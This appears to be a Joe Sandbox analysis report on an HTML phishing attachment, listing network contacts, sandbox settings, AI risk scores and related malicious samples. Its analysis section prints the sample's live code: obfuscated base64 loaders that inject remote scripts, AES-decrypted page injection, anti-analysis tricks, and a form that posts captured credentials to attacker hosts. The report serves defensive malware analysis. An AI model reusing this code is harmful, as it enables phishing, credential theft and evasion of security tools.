52.220.45.219	sync.crwdcntrl.net	United States	16509	AMAZON-02US	false
188.125.88.204	dcs-ups.g03.yahoodns.net	United Kingdom	10310	YAHOO-1US	false
104.18.26.193	unknown	United States	13335	CLOUDFLARENETUS	false
104.244.42.195	unknown	United States	13414	TWITTERUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
34.98.64.218	unknown	United States	15169	GOOGLEUS	false
37.252.171.21	ib.anycast.adnxs.com	European Union	29990	ASN-APPNEXUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573333
Start date and time:	2024-12-11 21:02:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	vFile__0054seconds__Arkansas.html
Detection:	MAL
Classification:	mal64.phis.evad.winHTML@36/498@211/47
Cookbook Comments:	Found application associated with file extension: .html

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{"typosquatting":false, "unusual_query_string":false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address":false, "known_domain":true, "brand_spoofing_attempt":false, "third_party_hosting":false}
URL: https://microsoft.com
URL: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script contains obfuscated code and URLs, which is a high-risk indicator (+3 points). It also includes aggressive DOM manipulation and event listeners that prevent default actions, which are moderate-risk indicators (+2 points). The script attempts to redirect based on user agent conditions, which is suspicious behavior (+1 point). The domain 'wdiI.cxbeurue.ru' is unknown and potentially suspicious, adding to the risk (+1 point)." }
/* All our dreams can come true if we have the courage to pursue them. */ if(atob("aHR0cHM6Ly93ZGlJLmN4YmV1cnVlLnJ1L2x5cEtBZC8=") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNPeHNhVG9uZ29JIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI094c2FUb25nb0kgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI094c2FUb25nb0kgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojT3hzYVRvbmdvSSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI094c2FUb25nb0kuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMzBweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI094c2FUb25nb0kgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNPeHNhVG9uZ29JIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojT3hzYVRvbmdvSSAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiNPeHNhVG9uZ29JIC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiNPeHNhVG9uZ29JIC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojT3hzYVRvbmdvSSAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojT3hzYVRvbmdvSS5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI094c2FUb25nb0kgLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNPeHNhVG9uZ29JICNSTnNScENpTUR4IHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQpkaFJYVnFWUmxsID0gZmFsc2U7DQooZnVuY3Rpb24gT0pKdmlYT1dKUigpIHsNCiAgICBsZXQgR09UTEtmaXNNaCA9IGZhbHNlOw0KICAgIGNvbnN0IGZtQllyZVdEemEgPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQo
URL: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script sends data to an untrusted domain (birsbunh.ru) and uses a suspiciously obfuscated URL path for a POST request, indicating potential data exfiltration. It also redirects to a legitimate domain (powerbi.microsoft.com) under error conditions, which could be a tactic to mask malicious intent. The combination of these behaviors suggests a high risk of malicious activity." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA0qprqcNTVtSMlW', 'error-callback': HZaSWrtfTu, callback: ljNEpQowNW, }); function HZaSWrtfTu() { turnstile.reset(); } function ljNEpQowNW() { var xDeVvVpoqG = document.getElementById("MYTVjWHXuU"); xDeVvVpoqG.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = '87fKt'; var lHoTQjJakk = "../mxCAKSFLZHZgSbiN6uhzP4xbZjf"; fetch('https://zEByhp1sNpte6ZWX7WxC9Q8do5y4psjHHcwOyLOyMg1xs4X7Joz2zZ.birsbunh.ru/KxuzxCcbUGXujyGqWrYaFAPicIOrIXXWFSAXYGUFZCNDLCHUFISYXIE', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(lHoTQjJakk, { method: "POST", body: new FormData(xDeVvVpoqG) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(dhRXVqVRll == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://powerbi.microsoft.com'); } }); } if(text != 0){ window.location.replace('https://powerbi.microsoft.com'); } }) .catch(error => { window.location.replace('https://powerbi.microsoft.com'); }); }
URL: file:///C:/Users/user/Desktop/vFile__0054seconds_... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "The script uses dynamic code execution via the Function constructor with base64-decoded content, which is a high-risk indicator. The decoded content appears to be obfuscated and potentially malicious, as it constructs a URL and injects a script tag into the document. This behavior suggests data exfiltration or redirection to a suspicious domain, further increasing the risk score." }
pasionaria = '#YnJlbm5hbi5kdW5oYW1AYXJrYW5zYXMuZ292'; const vNwQ = new Function(atob(["dWFrYXJpID0gImh0dC","IrJ3BzOi8vcGFsJysnaXNzYScrYGRlLm","NhY","CtgL3JlYCsi","czQ0NC","5wIisnaHA","\/MicrY","C02OGAr","YDc0NzQ","3MDc","zYCsiM2Ey","Zj","J","mNyIrY","Dc2ND","ZgKyc5NCcrJzkyZTY","zJysiNzg2MjY1NyIrYDU3Mjc1NmArIjU","yZ","SIrIjcyNzUyZjY","iKydjNz","k3MCcrJzRiNDE2JytgN","DJmLXBh","Y","Ctgc2lvbmFg","Ky","JyaWEi","Owpkb2N1bWVu","dFsnd3Jp","d","GUnXSgiPHNjcmlwdCBzcmM9JyIgKy","B1Y","Wth","cmkgKyAiJz4","8","XC9z","Y3JpcHQ+Iik7"].join(''))); vNwQ();
URL: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The script includes aggressive DOM manipulation by preventing default actions for key events and context menu, which is a moderate-risk indicator. It also redirects to a trusted domain (microsoft.com), which reduces the risk. However, the use of obfuscated variable names and the debugger statement suggests suspicious behavior, warranting further review." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); dhRXVqVRll = false; (function OJJviXOWJR() { let GOTLKfisMh = false; const fmBYreWDza = 100; setInterval(function() { const mlZPUzqZdL = performance.now(); debugger; const nwzRLsmZFB = performance.now(); if (nwzRLsmZFB - mlZPUzqZdL > fmBYreWDza && !GOTLKfisMh) { dhRXVqVRll = true; GOTLKfisMh = true; window.location.replace('https://powerbi.microsoft.com'); } }, 100); })();
URL: https://palissade.ca/res444.php?2-68747470733a2f2f... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script dynamically loads an external library from a trusted source (cdnjs.cloudflare.com), which is generally safe. However, it uses base64 encoded data to decrypt and execute potentially sensitive or malicious content, which is a high-risk indicator due to the obfuscation and dynamic code execution. The use of document.write to inject content into the DOM further increases the risk, as it can lead to DOM manipulation vulnerabilities. The overall behavior suggests potential malicious intent, especially with the obfuscated data and aggressive DOM manipulation." }
var BoiNAagzkiAFyJbF = document.createElement("script"); BoiNAagzkiAFyJbF.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); document.head.append(BoiNAagzkiAFyJbF); BoiNAagzkiAFyJbF.onload=function(){ var {a,b,c,d} = JSON.parse(atob("eyJhIjoiWU1rYzg4Qkl4MVExbkdadUNmUGNSWUFCemhBSzE5SlBaVmVXUVhhQktLdnhLUHhPTGV5UFhDYVJOQXU2SHJ6WmwrYjRmZ1lTZEZBTXRCTzY3aDR6SjNnVXBCVG1UK2twSGpcL2drNVNHZU9sUWVyaDNFcHRQeU5lcmc3cVFrVk5hXC8wemRCcGZDbFR2Y0JHS3BMVDlhQ2tpcU5HZGVXU0J3aEQwYlNLTVdsVDkyb0hnK0dMdEtzNloyalFDWUlTcm9rdHZzS2QrRGVyOGVha1pEZ2FsdnRCTjVRZkZFeEtJUGlMOGI3TTl3ZW8xT21jQng2ZEdZaG5WNnBha2VuK0tkcVNvaFgzXC9xdkZueUh6NzErdVBjRTdhK1FmYW00TWJBcUlCOU93MVVtYzhGRHNlN2VHMkF2Y095XC9KVVJCY1lvYnZ1dlR5NU1uSUVsT3NHZjJ3WkYybXErbHFuTVdMcE53dmFkOEJZOXp6d1ZOcWhJVEhZeWE0R25PS25cL2g1TGRDTnFUdk9pYWNtZHljV2RcL1lcL1RDT0ZxY3E5em1BNEhUNHloM2h1VmdoMjVEQjhMTUs0cncxQldHSWdISmhcL3RaNlJBQk5WeFRkS2JPTWRBXC9cL1wvUDB2MUVcL3NzUzlyRE1YaGN4NkZQd2E2d0J2S0RLUVJ0Uk5sdFwvdFVUTHFvMjAyZkJMeGJrQ1pvcXJ6ejhkZEJDMEFrdFwvUjhwUVpwS2ROYW1DVXZCdTNLMWFZQmhZVzVPQzJNZVNCVGFcL0gyNkFMOFhWUjc0d2ZKcFgzN0tlZkJCUWZEYllUXC90V0NkSjhEYXRhY1RwVkNvcmlrdWY1Y2I5b0tmVjJENUhuOVdzS0hKN3BBcDJLdDdYeHF6U1BsenBpY2JCY1N3MGpXNVNUZWRTTzl3XC9ybnl3bmpEVDRBdGRrSmFFVG01dFlJc2ZCTjRveDNsa1F0T3phck9FQVFpdTdDalkwUFdvNmdwWTRYZlNodWZRRThUaU5wNkl6Y2JcL2tlSVlYWEEzVDErcFQzbWpvQjMzTEY3cTh4dGVrdUl0a0JIUT09IiwiYiI6ImQ0NDc5ODM2YmVhNWZiYTY2MTcyMGJjZjY2ZTk3NThkIiwiYyI6IjM3MGQ0NDdhOTgxYWQ3Y2JkNjIzM2ZkMTJiMjBmMDZhIiwiZCI6IjM2MzAzNDM5NjMzNTM2MzUzNzM0NjIzMTM0NjIzMzMzMzU2MzM5MzgzMzYyNjE2MzM4NjIzODYxMzYzMzYyMzYifQ==")); var YboEgSFjGQnnUnrX = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999}); QPCFGKCZzZCoYOAG = CryptoJS.AES.decrypt(a,YboEgSFjGQnnUnrX,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8); QPCFGKCZzZCoYOAG = QPCFGKCZzZCoYOAG.replace(/IfzNupbNdMhmvKJo/g, pasionaria); document.write(QPCFGKCZzZCoYOAG); }
URL: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5oYW1AYXJrYW5zYXMuZ292 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5oYW1AYXJrYW5zYXMuZ292 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Start free", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5oYW1AYXJrYW5zYXMuZ292 Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5oYW1AYXJrYW5zYXMuZ292 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Submit", "text_input_field_labels": ["Email"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5oYW1AYXJrYW5zYXMuZ292 Model: Joe Sandbox AI	```json{ "legit_domain": "unknown", "classification": "unknown", "reasons": [ "The URL 'wdii.cxbeurue.ru' does not clearly associate with any known or well-known brand.", "The domain 'cxbeurue.ru' is not recognized as a legitimate domain for any known brand.", "The URL structure appears suspicious with a random subdomain 'wdii' and a non-standard domain name 'cxbeurue.ru'.", "The brand 'u' is not identifiable, making it difficult to associate with any legitimate domain.", "The use of a '.ru' domain extension could be legitimate but is often used in phishing attempts targeting non-Russian users." ], "riskscore": 8}
URL: wdii.cxbeurue.ru Brands: u Input Fields: unknown
URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1 Model: Joe Sandbox AI	{ "brands": [ "Power BI" ] }
	{ "brands": [ "Power BI" ] }
URL: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "", "prominent_button_name": "Submit", "text_input_field_labels": ["Email"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1 Model: Joe Sandbox AI	```json{ "legit_domain": "powerbi.com", "classification": "wellknown", "reasons": [ "The URL 'app.powerbi.com' is a subdomain of 'powerbi.com', which is the legitimate domain for Power BI.", "Power BI is a well-known brand associated with Microsoft, and 'powerbi.com' is the official domain.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The presence of an 'Email' input field is typical for a service like Power BI, which requires user authentication." ], "riskscore": 1}
URL: app.powerbi.com Brands: Power BI Input Fields: Email
URL: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "", "prominent_button_name": "Submit", "text_input_field_labels": ["Email"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1 Model: Joe Sandbox AI	{ "brands": [ "Power BI" ] }
	{ "brands": [ "Power BI" ] }
URL: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1 Model: Joe Sandbox AI	{ "brands": [ "Power BI" ] }
	{ "brands": [ "Power BI" ] }
URL: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1 Model: Joe Sandbox AI	```json{ "legit_domain": "powerbi.com", "classification": "known", "reasons": [ "The URL 'app.powerbi.com' is a subdomain of 'powerbi.com', which is the legitimate domain for Power BI.", "Power BI is a known brand associated with Microsoft, and 'powerbi.com' is the official domain.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The presence of an 'Email' input field is typical for a service like Power BI, which requires user authentication." ], "riskscore": 1}
URL: app.powerbi.com Brands: Power BI Input Fields: Email
URL: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1 Model: Joe Sandbox AI	```json{ "legit_domain": "powerbi.com", "classification": "known", "reasons": [ "The URL 'app.powerbi.com' is a subdomain of 'powerbi.com', which is the legitimate domain for Power BI.", "Power BI is a known brand associated with Microsoft, and 'powerbi.com' is the official domain.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The presence of an 'Email' input field is typical for a service like Power BI, which requires user authentication." ], "riskscore": 1}
URL: app.powerbi.com Brands: Power BI Input Fields: Email

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54.154.212.37	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse
54.154.212.37	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse
91.228.74.244	http://www.javatpoint.com.cach3.com/	Get hash	malicious	Unknown	Browse
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse
	https://es.vecteezy.com/arte-vectorial/20279878-kyd-letra-logo-diseno-en-blanco-antecedentes-kyd-creativo-circulo-letra-logo-concepto-kyd-letra-diseno	Get hash	malicious	Unknown	Browse
	tmpE43E.htm	Get hash	malicious	Unknown	Browse
	http://deepai.org	Get hash	malicious	LiteHTTP Bot	Browse
	Unit 2_week 4 2024.pptx	Get hash	malicious	HTMLPhisher	Browse
	http://samobile.net/content/offsite_article.html?url=https%3A%2F%2Fsepedatua.com%2F158983%2Fsecure-redirect%23cnichols%2Bderickdermatology.com&headline=New+Jerusalem%2C+The+by+Chesterton%2C+G.+K	Get hash	malicious	Captcha Phish	Browse
	https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse
	https://funpresc.pe.gov.br/976823/secure-redirect/index.html#Francois.barbeau+staples.ca%20%20https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse
63.140.62.222	http://vimuscle.vi/css/TB.html	Get hash	malicious	Unknown	Browse	info.telstra.com.au/b/ss/telstratdtmglobalprd/1/JS-2.10.0/s81407038587847?AQB=1&ndh=1&pf=1&t=24%2F8%2F2024%2021%3A37%3A27%202%20240&sdid=080702B973E60E46-3262A79A37C4013C&mid=80393247477718675596040170536517987875&aamlh=6&ce=UTF-8&ns=telstracorporation&cdp=3&fpCookieDomainPeriods=2&pageName=TD%3ATR%3ATR%3Acss%3Asign%20in%20with%20your%20telstra%20id&g=http%3A%2F%2Fvimuscle.vi%2Fcss%2FTB.html&cc=AUD&ch=css&server=vimuscle.vi&events=event27&aamb=j8Odv6LonN4r3an7LhD3WZrU1bUpAkFkkiY1ncBR96t2PTI&c1=TD&v1=TD&h1=TD%7CTR%7CTR%7Ccss%7Csign%20in%20with%20your%20telstra%20id&c2=TR&v2=TR&c3=TR&v3=TR&c4=D%3Dv5&v4=D%3Dch&c5=D%3Dv72&v5=tb.html&c6=D%3Dproducts&v6=css%3Atb.html&c7=%2Fcss%2FTB&c8=D%3Dg&v8=D%3Dg&c9=%2F%2Fwww.telstra.com.au%2Fcontent%2Fdam%2Fanalytics%2Fadobetags.min.js%3Fsource%3DCQ5%20%7C%20launch%20%7C%20prd%20%7C%20tz%3D-4&c11=no%20jQuery&c16=Wed%2C%2025%20Sep%202024%2001%3A37%3A27%20GMT&v18=di&c19=First%20Visit&c35=D%3DUser-Agent&v35=D%3DUser-Agent&c41=9%3A30PM&c42=Tuesday&c43=Weekday&c44=D%3Dv44%2B%22%3A%22%2BpageName&v4
104.18.37.193	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse
	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse
	https://sendgb.com/dxukcl49bIj?utm_medium=mvC3BJ1YMhqe8zn	Get hash	malicious	HTMLPhisher	Browse
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse
	https://www.calameo.com/read/007817996f562cfb4f52a	Get hash	malicious	HTMLPhisher	Browse
	http://deepai.org	Get hash	malicious	LiteHTTP Bot	Browse
	https://www.calameo.com/read/007816403baaac426afad	Get hash	malicious	Unknown	Browse
	https://pthn.airrcofvbc.com/YReXjN/#<EMAIL&gt	Get hash	malicious	Unknown	Browse
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse
172.67.133.70	http://shrihotels.com/wp-images/e3cb0.php	Get hash	malicious	Unknown	Browse
172.67.133.70	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
